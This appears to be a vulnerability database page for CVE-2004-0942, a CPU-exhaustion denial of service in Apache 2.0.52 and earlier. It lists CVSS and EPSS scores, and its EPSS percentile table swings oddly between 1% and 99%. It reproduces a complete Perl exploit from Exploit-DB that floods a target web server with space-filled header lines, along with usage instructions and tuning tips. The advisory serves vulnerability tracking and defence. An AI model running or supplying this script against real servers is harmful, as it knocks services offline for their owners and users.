CVE-2004-0942

EPSS

81.38%V4

Vector

Network

Published

2004-11-04
04h00 +00:00

Modified

2021-06-06
08h10 +00:00

Official links

CVE.org

NVD

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Notifications manage

List of Notifications

Notifications for a CVE

Stay informed of any changes for a specific CVE.

Criteria applied when sending the alert: compared with the last alert sent + differences in CISA, EPSS, CVSS, CWE, Solutions, CPE.

Parameters

You can specify a title that will be retrieved in the alerts that will be sent out.

Specified here a CVE ID as CVE-2025-1234

Planning

Month

Next run calculation

Day

Weekday

Hour

Minute

Creation date

Last execution

Next execution

Functionality requiring a connection

This feature, which allows you to receive alerts, is only active when you are logged into your account.

CVE Descriptions

Apache webserver 2.0.52 and earlier allows remote attackers to cause a denial of service (CPU consumption) via an HTTP GET request with a MIME header containing multiple lines with a large number of space characters.

CVE Informations

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	5		AV:N/AC:L/Au:N/C:N/I:N/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	33.04%	–	–
2022-04-10	–	–	33.04%	–	–
2023-03-12	–	–	–	96.95%	–
2023-10-15	–	–	–	96.51%	–
2024-01-14	–	–	–	96.51%	–
2024-05-12	–	–	–	96.56%	–
2024-06-02	–	–	–	96.56%	–
2024-11-24	–	–	–	96.49%	–
2025-01-19	–	–	–	96.49%	–
2025-03-18	–	–	–	–	81.38%
2025-03-18	–	–	–	–	81.38,%

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Date	Percentile
2022-02-06	97%
2022-04-10	98%
2023-03-12	1%
2023-10-15	99%
2024-01-14	1%
2024-05-12	1%
2024-06-02	1%
2024-11-24	1%
2025-01-19	1%
2025-03-18	99%
2025-03-18	99%

Exploit information

Exploit Database EDB-ID : 855

Publication date : 2005-03-03 23h00 +00:00
Author : GreenwooD
EDB Verified : Yes

#!/usr/bin/perl # Based on -> # apache-squ1rt.c exploit. # # Original credit goes to Chintan Trivedi on the # FullDisclosure mailing list: # http://seclists.org/lists/fulldisclosure/2004/Nov/0022.html # # More info -> # # http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942 # Added -> # Added future with we can exploit Apache web servers on windows system. For it you should experiment # with [trys] parameter of this code. # # By default parameter trys = 8000, for DoS Apache web servers on windows system try to # increase this parameter. # # For example. In my system I have 256Mb of RAM. For DoS Apache web severs I run this exploit like this # # C:\perl ap2.0.52_dos.pl 127.0.0.1 30000 # # <+> Prepare to start connect. # <+> Connected to 127.0.0.1 # <+> Send of first part of devil header. # <+> Prepare to DoS with 10000 trys. # <+> Start DoS second part of devil header. # <SOD> |====================> <EOD> # <+> Ok now target web server maybe DoSeD. # # # Note -> # # If progresbar not response server mybe already DoSeD. Try to open web page hosted on this web servers. # And if you see "Eror 500" you are lucky man :) # # Warnings -> # This is POC code you can use only on you own servers. Writer don't response if you damadge you servers or # use it for attack, or others things. # # Shit -> # My English now is bulls shit :( I try study it :) # # Tested under Window 2000 SP4 with Apache 2.0.49 (Win) # Grests fly to Chintan Trivedi NsT, RST, Void, Unlock and other underground world. # Contact to me at greenwood3[AT]yandex[dot]ru use IO::Socket; if (@ARGV <1) { print "\n ::: ---------------------------------------------- :::\n"; print " ::: Another yet DoS exploit for Apache <= 2.0.52 :::\n"; print " ::: Usage: ap2.0.52_dos.pl <ip> [trys] :::\n"; print " ::: Coded by GreenwooD from Network Security Team :::\n"; print " ::: ---------------------------------------------- :::\n"; exit(); } print "\n <+> Prepare to start connect.\n"; $s = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>$ARGV[0], PeerPort=>80, Timeout=>6 ) or die " <-> Target web server already DoSeD ??? or can't connect :(\n"; $s->autoflush(); print " <+> Connected to $ARGV[0]\n"; print " <+> Send of first part of devil header.\n"; print $s "GET / HTTP/1.0\n"; $trys = 8000; # Default if ($ARGV[1]) { $trys = $ARGV[1]; } print " <+> Prepare to DoS with $trys trys.\n"; print " <+> Start DoS send second part of devil header.\n"; print " <SOD> |"; $i=0; do { print $s (" " x 8000 . "\n"); if ($i % 500 == 0) { print "="; } ++$i; } until ($i == $trys); print "> <EOD>\n"; close($s); print " <+> Ok now target web server maybe DoSeD.\n"; # milw0rm.com [2005-03-04]